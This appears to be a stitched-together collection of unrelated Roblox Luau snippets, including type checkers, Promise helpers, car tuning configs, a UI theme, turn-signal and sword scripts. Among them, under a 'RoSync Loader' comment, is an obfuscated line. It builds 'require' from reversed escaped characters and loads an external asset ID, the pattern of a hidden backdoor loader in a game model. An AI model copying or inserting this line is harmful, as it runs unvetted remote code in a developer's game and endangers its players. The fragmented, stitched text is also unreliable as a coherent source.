--[[**
ensures value is an array of a strict makeup and size
@param check The check to compare all values with
@returns A function that will return true iff the condition is passed
**--]]
|
function t.strictArray(...)
local valueTypes = { ... }
assert(t.array(t.callback)(valueTypes))
return function(value)
local keySuccess = arrayKeysCheck(value)
if keySuccess == false then
return false
end
-- If there's more than the set array size, disallow
if #valueTypes < #value then
return false
end
for idx, typeFn in pairs(valueTypes) do
local typeSuccess = typeFn(value[idx])
if not typeSuccess then
return false
end
end
return true
end
end
end
do
local callbackArray = t.array(t.callback)
|
-- So we don't rehit the same target multiple times
|
local flaggedForHit = {}
for _, part in pairs(parts) do
local character = PartUtility.GetCharacterFromInstance_R(part)
if not character then continue end
-- Don't rehit the same character multiple times
if flaggedForHit[character] then continue end
flaggedForHit[character] = true
APICombat.ApplyDamageToCharacter(owningPlayer,character,WeaponDefinition)
end
Explosion.Parent = workspace
local effectPart = Instance.new("Part")
effectPart.Position = Explosion.Position
effectPart.Anchored = true
effectPart.Transparency = 1
effectPart.CanCollide = false
effectPart.Parent = workspace
|
--local Sprinting =false
|
local L_145_ = L_121_.new(Vector3.new())
L_145_.s = 15
L_145_.d = 0.5
game:GetService("UserInputService").InputChanged:connect(function(L_272_arg1) --Get the mouse delta for the gun sway
if L_272_arg1.UserInputType == Enum.UserInputType.MouseMovement then
L_140_ = math.min(math.max(L_272_arg1.Delta.x, -L_142_), L_142_)
L_141_ = math.min(math.max(L_272_arg1.Delta.y, -L_142_), L_142_)
end
end)
L_4_.Idle:connect(function() --Reset the sway to 0 when the mouse is still
L_140_ = 0
L_141_ = 0
end)
local L_146_ = false
local L_147_ = CFrame.new()
local L_148_ = CFrame.new()
local L_149_
local L_150_
local L_151_
local L_152_
local L_153_
local L_154_
local L_155_
if not L_24_.TacticalModeEnabled then
L_149_ = 0
L_150_ = CFrame.new()
L_151_ = 0.1
L_152_ = 2
L_153_ = 0
L_154_ = .2
L_155_ = 17
else
L_149_ = 0
L_150_ = CFrame.new()
L_151_ = 0.05
L_152_ = 2
L_153_ = 0
L_154_ = 0.09
L_155_ = 11
end
local L_156_ = 0
local L_157_ = 5
local L_158_ = .3
local L_159_, L_160_ = 0, 0
local L_161_ = nil
local L_162_ = nil
local L_163_ = nil
L_3_.Humanoid.Running:connect(function(L_273_arg1)
if L_273_arg1 > 1 then
L_146_ = true
else
L_146_ = false
end
end)
|
--[[*
* Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
]]
|
type unknown = any --[[ ROBLOX FIXME: adding `unknown` type alias to make it easier to use Luau unknown equivalent when supported ]]
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local Boolean = LuauPolyfill.Boolean
local Error = LuauPolyfill.Error
type Error = LuauPolyfill.Error
local exports = {}
export type ErrorWithStack = Error & {}
local ErrorWithStack = setmetatable({}, { __index = Error })
ErrorWithStack.__index = ErrorWithStack
function ErrorWithStack.new(
message: string | nil,
callsite: (...any) -> () | unknown,
stackLimit: number?
): ErrorWithStack
-- Ensure we have a large stack length so we get full details.
local originalStackLimit = Error["stackTraceLimit"]
if stackLimit ~= nil and stackLimit ~= 0 then
Error["stackTraceLimit"] = math.max(
stackLimit,
Boolean.toJSBoolean(originalStackLimit) and originalStackLimit or 10
)
end
local self = setmetatable(Error.new(message), ErrorWithStack)
if Boolean.toJSBoolean(Error["captureStackTrace"]) then
Error["captureStackTrace"](self, callsite)
end
Error["stackTraceLimit"] = originalStackLimit
return (self :: any) :: ErrorWithStack
end
exports.default = ErrorWithStack
return exports
|
--[[
Calls a callback on `finally` with specific arguments.
]]
|
function Promise.prototype:finallyCall(callback, ...)
local length, values = pack(...)
return self:finally(function()
return callback(unpack(values, 1, length))
end)
end
|
--[[Transmission]]
|
Tune.TransModes = {"Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.06 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
--[[ 6 ]] 0.64 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--[[ Roblox Services ]]
|
--
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local StarterGui = game:GetService("StarterGui")
local GuiService = game:GetService("GuiService")
local ContextActionService = game:GetService("ContextActionService")
local VRService = game:GetService("VRService")
local UserGameSettings = UserSettings():GetService("UserGameSettings")
|
--[[
This file is necessary for constructing the default Icon template
Do not remove this module otherwise TopbarPlus will break
Modifying this file may also cause TopbarPlus to break
It's recommended instead to create a separate theme module and use that instead
To apply your theme after creating it, do:
```lua
local IconController = require(pathway.to.IconController)
local Themes = require(pathway.to.Themes)
IconController.setGameTheme(Themes.YourThemeName)
```
or by applying to an individual icon:
```lua
local Icon = require(pathway.to.Icon)
local Themes = require(pathway.to.Themes)
local newIcon = Icon.new()
:setTheme(Themes.YourThemeName)
```
--]]
|
return {
-- Settings which describe how an item behaves or transitions between states
action = {
toggleTransitionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
resizeInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
repositionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
captionFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
tipFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
dropdownSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
menuSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
},
-- Settings which describe how an item appears when 'deselected' and 'selected'
toggleable = {
-- How items appear normally (i.e. when they're 'deselected')
deselected = {
iconBackgroundColor = Color3.fromRGB(0, 0, 0),
iconBackgroundTransparency = 0.5,
iconCornerRadius = UDim.new(0.25, 0),
iconGradientColor = ColorSequence.new(Color3.fromRGB(255, 255, 255)),
iconGradientRotation = 0,
iconImage = "",
iconImageColor =Color3.fromRGB(255, 255, 255),
iconImageTransparency = 0,
iconImageYScale = 0.63,
iconImageRatio = 1,
iconLabelYScale = 0.45,
iconScale = UDim2.new(1, 0, 1, 0),
forcedIconSize = UDim2.new(0, 32, 0, 32);
iconSize = UDim2.new(0, 32, 0, 32),
iconOffset = UDim2.new(0, 0, 0, 0),
iconText = "",
iconTextColor = Color3.fromRGB(255, 255, 255),
iconFont = Enum.Font.GothamSemibold,
noticeCircleColor = Color3.fromRGB(255, 255, 255),
noticeCircleImage = "http://www.roblox.com/asset/?id=4871790969",
noticeTextColor = Color3.fromRGB(31, 33, 35),
baseZIndex = 1,
order = 1,
alignment = "left",
clickSoundId = "rbxassetid://5273899897",
clickVolume = 0,
clickPlaybackSpeed = 1,
clickTimePosition = 0.12
},
-- How items appear after the icon has been clicked (i.e. when they're 'selected')
-- If a selected value is not specified, it will default to the deselected value
selected = {
iconBackgroundColor = Color3.fromRGB(245, 245, 245),
iconBackgroundTransparency = 0.1,
iconImageColor = Color3.fromRGB(57, 60, 65),
iconTextColor = Color3.fromRGB(57, 60, 65),
clickPlaybackSpeed = 1.5,
}
},
-- Settings where toggleState doesn't matter (they have a singular state)
other = {
-- Caption settings
captionBackgroundColor = Color3.fromRGB(0, 0, 0),
captionBackgroundTransparency = 0.5,
captionTextColor = Color3.fromRGB(255, 255, 255),
captionTextTransparency = 0,
captionFont = Enum.Font.GothamSemibold,
captionOverlineColor = Color3.fromRGB(0, 170, 255),
captionOverlineTransparency = 0,
captionCornerRadius = UDim.new(0.25, 0),
-- Tip settings
tipBackgroundColor = Color3.fromRGB(255, 255, 255),
tipBackgroundTransparency = 0.1,
tipTextColor = Color3.fromRGB(27, 42, 53),
tipTextTransparency = 0,
tipFont = Enum.Font.GothamSemibold,
tipCornerRadius = UDim.new(0.175, 0),
-- Dropdown settings
dropdownAlignment = "auto", -- 'left', 'mid', 'right' or 'auto' (auto is where the dropdown alignment matches the icons alignment)
dropdownMaxIconsBeforeScroll = 3,
dropdownMinWidth = 32,
dropdownSquareCorners = false,
dropdownBindToggleToIcon = true,
dropdownToggleOnLongPress = false,
dropdownToggleOnRightClick = false,
dropdownCloseOnTapAway = false,
dropdownHidePlayerlistOnOverlap = true,
dropdownListPadding = UDim.new(0, 2),
dropdownScrollBarColor = Color3.fromRGB(25, 25, 25),
dropdownScrollBarTransparency = 0.2,
dropdownScrollBarThickness = 4,
-- Menu settings
menuDirection = "auto", -- 'left', 'right' or 'auto' (for auto, if alignment is 'left' or 'mid', menuDirection will be 'right', else menuDirection is 'left')
menuMaxIconsBeforeScroll = 4,
menuBindToggleToIcon = true,
menuToggleOnLongPress = false,
menuToggleOnRightClick = false,
menuCloseOnTapAway = false,
menuScrollBarColor = Color3.fromRGB(25, 25, 25),
menuScrollBarTransparency = 0.2,
menuScrollBarThickness = 4,
},
}
|
--- Returns a function that is a fuzzy finder for the specified set or container.
-- Can pass an array of strings, array of instances, array of EnumItems,
-- array of dictionaries with a Name key or an instance (in which case its children will be used)
-- Exact matches will be inserted in the front of the resulting array
|
function Util.MakeFuzzyFinder(setOrContainer)
local names
local instances = {}
if typeof(setOrContainer) == "Enum" then
setOrContainer = setOrContainer:GetEnumItems()
end
if typeof(setOrContainer) == "Instance" then
names, instances = transformInstanceSet(setOrContainer:GetChildren())
elseif typeof(setOrContainer) == "table" then
if
typeof(setOrContainer[1]) == "Instance" or typeof(setOrContainer[1]) == "EnumItem" or
(typeof(setOrContainer[1]) == "table" and typeof(setOrContainer[1].Name) == "string")
then
names, instances = transformInstanceSet(setOrContainer)
elseif type(setOrContainer[1]) == "string" then
names = setOrContainer
elseif setOrContainer[1] ~= nil then
error("MakeFuzzyFinder only accepts tables of instances or strings.")
else
names = {}
end
else
error("MakeFuzzyFinder only accepts a table, Enum, or Instance.")
end
-- Searches the set (checking exact matches first)
return function(text, returnFirst)
local results = {}
for i, name in pairs(names) do
local value = instances and instances[i] or name
-- Continue on checking for non-exact matches...
-- Still need to loop through everything, even on returnFirst, because possibility of an exact match.
if name:lower() == text:lower() then
if returnFirst then
return value
else
table.insert(results, 1, value)
end
elseif name:lower():sub(1, #text) == text:lower() then
results[#results + 1] = value
end
end
if returnFirst then
return results[1]
end
return results
end
end
|
--Made by Repressed_Memories
-- Edited by Truenus
|
local component = script.Parent.Parent
local car = script.Parent.Parent.Parent.Parent.Car.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local leftsignal = "z"
local rightsignal = "c"
local hazards = "x"
local hazardson = false
local lefton = false
local righton = false
local leftlight = car.Body.Lights.Left.TurnSignal.TSL
local rightlight = car.Body.Lights.Right.TurnSignal.TSL
local leftfront = car.Body.Lights.Left.TurnSignal2
local rightfront = car.Body.Lights.Right.TurnSignal2
local signalblinktime = 0.32
local neonleft = car.Body.Lights.Left.TurnSignal
local neonright = car.Body.Lights.Right.TurnSignal
local off = BrickColor.New("Neon orange")
local on = BrickColor.New("Deep orange")
mouse.KeyDown:connect(function(lkey)
local key = string.lower(lkey)
if key == leftsignal then
if lefton == false then
lefton = true
repeat
neonleft.BrickColor = on
leftfront.BrickColor = on
leftlight.Enabled = true
neonleft.Material = "Neon"
leftfront.Material = "Neon"
component.TurnSignal:play()
wait(signalblinktime)
neonleft.BrickColor = off
leftfront.BrickColor = off
component.TurnSignal:play()
neonleft.Material = "SmoothPlastic"
leftfront.Material = "SmoothPlastic"
leftlight.Enabled = false
wait(signalblinktime)
until
lefton == false or righton == true
elseif lefton == true or righton == true then
lefton = false
component.TurnSignal:stop()
leftlight.Enabled = false
end
elseif key == rightsignal then
if righton == false then
righton = true
repeat
neonright.BrickColor = on
rightfront.BrickColor = on
rightlight.Enabled = true
neonright.Material = "Neon"
rightfront.Material = "Neon"
component.TurnSignal:play()
wait(signalblinktime)
neonright.BrickColor = off
rightfront.BrickColor = off
component.TurnSignal:play()
neonright.Material = "SmoothPlastic"
rightfront.Material = "SmoothPlastic"
rightlight.Enabled = false
wait(signalblinktime)
until
righton == false or lefton == true
elseif righton == true or lefton == true then
righton = false
component.TurnSignal:stop()
rightlight.Enabled = false
end
elseif key == hazards then
if hazardson == false then
hazardson = true
repeat
neonright.BrickColor = on
rightfront.BrickColor = on
neonleft.BrickColor = on
leftfront.BrickColor = on
neonright.Material = "Neon"
rightfront.Material = "Neon"
neonleft.Material = "Neon"
leftfront.Material = "Neon"
component.TurnSignal:play()
rightlight.Enabled = true
leftlight.Enabled = true
wait(signalblinktime)
neonright.BrickColor = off
rightfront.BrickColor = off
neonleft.BrickColor = off
leftfront.BrickColor = off
component.TurnSignal:play()
neonright.Material = "SmoothPlastic"
rightfront.Material = "SmoothPlastic"
neonleft.Material = "SmoothPlastic"
leftfront.Material = "SmoothPlastic"
rightlight.Enabled = false
leftlight.Enabled = false
wait(signalblinktime)
until
hazardson == false
elseif hazardson == true then
hazardson = false
component.TurnSignal:stop()
rightlight.Enabled = false
leftlight.Enabled = false
end
end
end)
|
-- If no expire time was provided, this message is displayed.
|
local MESSAGE_BAN_NO_EXPIRE = "You are permanently banned."
|
--[[Drivetrain]]
|
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD"
--Differential Settings
Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 50 -- 1 - 100%
Tune.RDiffLockThres = 50 -- 0 - 100%
Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = true -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
--[[ Last synced 10/14/2020 09:09 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
-- Adds particles to the WeaponsSystem based off player creations (or uses a default if not present)
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")
local blaster = ServerStorage:WaitForChild("Weapons"):WaitForChild("Blaster")
local WeaponSystem = blaster:WaitForChild("WeaponsSystem")
local RocketAsset = WeaponSystem.Assets.Effects.Shots.Rocket
|
--[[
Retries a Promise-returning callback N times until it succeeds.
]]
|
function Promise.retry(callback, times, ...)
assert(type(callback) == "function", "Parameter #1 to Promise.retry must be a function")
assert(type(times) == "number", "Parameter #2 to Promise.retry must be a number")
local args, length = {...}, select("#", ...)
return Promise.resolve(callback(...)):catch(function(...)
if times > 0 then
return Promise.retry(callback, times - 1, unpack(args, 1, length))
else
return Promise.reject(...)
end
end)
end
Promise.prototype.Retry = Promise.prototype.retry
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
ZoneModelName = "Magic broke ground" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--[=[
@tag Component Class
@function HeartbeatUpdate
@param dt number
@within Component
If this method is present on a component, then it will be
automatically connected to `RunService.Heartbeat`.
:::note Method
This is a method, not a function. This is a limitation
of the documentation tool which should be fixed soon.
:::
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
function MyComponent:HeartbeatUpdate(dt)
end
```
]=]
--[=[
@tag Component Class
@function SteppedUpdate
@param dt number
@within Component
If this method is present on a component, then it will be
automatically connected to `RunService.Stepped`.
:::note Method
This is a method, not a function. This is a limitation
of the documentation tool which should be fixed soon.
:::
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
function MyComponent:SteppedUpdate(dt)
end
```
]=]
--[=[
@tag Component Class
@function RenderSteppedUpdate
@param dt number
@within Component
@client
If this method is present on a component, then it will be
automatically connected to `RunService.RenderStepped`. If
the `[Component].RenderPriority` field is found, then the
component will instead use `RunService:BindToRenderStep()`
to bind the function.
:::note Method
This is a method, not a function. This is a limitation
of the documentation tool which should be fixed soon.
:::
```lua
-- Example that uses `RunService.RenderStepped` automatically:
local MyComponent = Component.new({Tag = "MyComponent"})
function MyComponent:RenderSteppedUpdate(dt)
end
```
```lua
-- Example that uses `RunService:BindToRenderStep` automatically:
local MyComponent = Component.new({Tag = "MyComponent"})
-- Defining a RenderPriority will force the component to use BindToRenderStep instead
MyComponent.RenderPriority = Enum.RenderPriority.Camera.Value
function MyComponent:RenderSteppedUpdate(dt)
end
```
]=]
|
function Component:Destroy()
self[KEY_TROVE]:Destroy()
end
return Component
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 5
local slash_damage = 10
local lunge_damage = 20
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
force.Parent = Tool.Parent.Torso
wait(.3)
swordOut()
wait(.3)
force.Parent = nil
wait(.5)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
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